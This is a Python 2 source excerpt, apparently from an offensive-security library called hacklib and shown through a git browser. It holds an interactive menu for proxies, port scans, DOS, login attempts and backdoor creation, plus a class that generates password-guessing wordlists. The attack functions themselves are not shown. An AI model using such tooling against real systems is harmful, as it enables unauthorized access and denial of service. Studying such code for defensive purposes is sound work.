while
True
:
if
firstrun
==
0
:
print
'----------------------------------------------'
print
'Hey. What can I do you for?'
print
'
\n
'
firstrun
+=
1
print
'Enter the number corresponding to your choice.'
print
''
print
'1) Connect to a proxy'
print
'2) Target an IP or URL'
print
'3) Lan Scan'
print
'4) Create Backdoor'
print
'5) Server'
print
'6) Exit'
ink
=
_Getch
()
cmd
=
ink
()
if
cmd
==
'6'
:
return
if
cmd
==
'2'
:
address
=
raw_input
(
'Input IP or URL > '
)
if
'.'
not
in
address
:
print
'Invalid IP/URL.'
return
print
'What would you like to do?'
print
''
print
'1) Port scan'
print
'2) DOS'
print
'3) Send TCP message'
print
'4) Attempt login'
print
'5) Exit'
cmd
=
ink
()
if
cmd
==
'1'
:
uiPortScan
(
getIP
(
address
))
if
cmd
==
'2'
:
uiDOS
(
getIP
(
address
))
if
cmd
==
'3'
:
uiTCPMessage
(
getIP
(
address
))
if
cmd
==
'4'
:
uiLogin
(
address
)
cmd
=
''
if
cmd
==
'3'
:
uiLanScan
()
if
cmd
==
'4'
:
uiCreateBackdoor
()
if
cmd
==
'5'
:
uiServer
()
if
cmd
==
'1'
:
print
'Would you like to automatically find a proxy or input one manually?'
print
'Enter the number corresponding to your choice.'
print
''
print
'1) Auto'
print
'2) Manual'
cmd
=
ink
()
print
'Connecting to a SOCKS proxy.'
proxies
=
getProxies
()
global
proxy
proxy
=
Proxy
()
if
cmd
==
'1'
:
proxy
.
connect
(
getProxies
())
print
'Your new IP address is '
+
proxy
.
IP
print
'This proxy is located in '
+
proxy
.
country
print
'---------'
time
.
sleep
(
2
)
if
cmd
==
'2'
:
pr_address
=
raw_input
(
'Proxy address > '
)
pr_port
=
raw_input
(
'Proxy port > '
)
pr_type
=
raw_input
(
'Enter "Socks4" or "Socks5" > '
)
try
:
proxy
.
connect_manual
(
pr_address
,
pr_port
,
pr_type
)
except
:
print
'Connection failed.'
;
time
.
sleep
(
2
);
pass
print
'Proxy connected.'
time
.
sleep
(
2
)
pass
"""
This Class Mangles Words specified by the user
Example:
Test = hacklib.Mangle("Test", 1, 10, 1996, 2016)
Test.Leet()
Output: T3st
"""
class
Mangle
:
def
__init__
(
self
,
text
,
num1
,
num2
,
year1
,
year2
):
self
.
num1
=
num1
self
.
num2
=
num2
self
.
year1
=
year1
self
.
year2
=
year2
self
.
text
=
text
def
Numbers
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
num1
,
self
.
num2
):
print
(
"%s"
+
"%s"
)
%
(
x
,
i
)
print
(
"%s"
+
"%s"
)
%
(
i
,
x
)
def
Years
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
year1
,
self
.
year2
):
print
(
"%s"
+
"%s"
)
%
(
x
,
i
)
print
(
"%s"
+
"%s"
)
%
(
i
,
x
)
def
UniqueNum
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
num1
,
self
.
num2
):
print
(
"%s"
+
"%s"
+
"%s"
)
%
(
x
,
x
,
i
)
def
UniqueYears
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
year1
,
self
.
year2
):
print
(
"%s"
+
"%s"
+
"%s"
)
%
(
x
,
x
,
i
)
def
FirstLetterCapNum
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
num1
,
self
.
num2
):
print
(
"%s"
+
"%s"
)
%
(
x
.
capitalize
(),
i
)
print
(
"%s"
+
"%s"
)
%
(
i
,
x
.
capitalize
())
def
Caps
(
self
):
for
x
in
self
.
text
.
split
():
print
x
.
capitalize
()
def
UniqueCaps
(
self
):
for
x
in
self
.
text
.
split
():
print
(
"%s"
+
"s"
)
%
(
x
.
capitalize
(),
x
.
capitalize
())
def
CapandYears
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
year1
,
self
.
year2
):
print
(
"%s"
+
"%s"
)
%
(
x
.
capitalize
(),
i
)
print
(
"%s"
+
"%s"
)
%
(
i
,
x
.
capitalize
())
def
Leet
(
self
):
for
x
in
self
.
text
.
split
():
print
x
.
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
)
def
LeetCap
(
self
):
for
x
in
self
.
text
.
split
():
print
x
.
capitalize
().
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
)
def
LeetYears
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
year1
,
self
.
year2
):
print
(
"%s"
+
"%s"
)
%
(
x
.
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
),
i
)
print
(
"%s"
+
"%s"
)
%
(
i
,
x
.
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
))
def
LeetNumbers
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
num1
,
self
.
num2
):
print
(
"%s"
+
"%s"
)
%
(
x
.
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
),
i
)
print
(
"%s"
+
"%s"
)
%
(
i
,
x
.
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
))
def
UniqueLeet
(
self
):
for
x
in
self
.
text
.
split
():
print
(
"%s"
+
"%s"
)
%
(
x
.
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
),(
x
.
replace
(
"e"
,
"3"
).
replace
(
"i"
,
"1"
).
replace
(
"O"
,
"0"
).
replace
(
"I"
,
"1"
).
replace
(
"E"
,
"3"
).
replace
(
"o"
,
"0"
).
replace
(
"l"
,
"1"
).
replace
(
"L"
,
"1"
).
replace
(
"g"
,
"9"
).
replace
(
"G"
,
"6"
).
replace
(
"b"
,
"8"
).
replace
(
"B"
,
"8"
)))
def
Reverse
(
self
):
for
x
in
self
.
text
.
split
():
print
x
[::
-
1
]
def
ReverseCap
(
self
):
for
x
in
self
.
text
.
split
():
print
x
[::
-
1
].
capitalize
()
def
ReverseNum
(
self
):
for
x
in
self
.
text
.
split
():
for
i
in
range
(
self
.
num1
,
self
.
num2
):
print
(
"%s"
+
"%s"
)
%
(
x
[::
-
1
],
i
)
print
(
"%s"
+
"%s"
)
%
(
i
,
x
[::
-
1
])
View remainder of file in raw view
Back
|
FazBrowse Home
|
New Git URL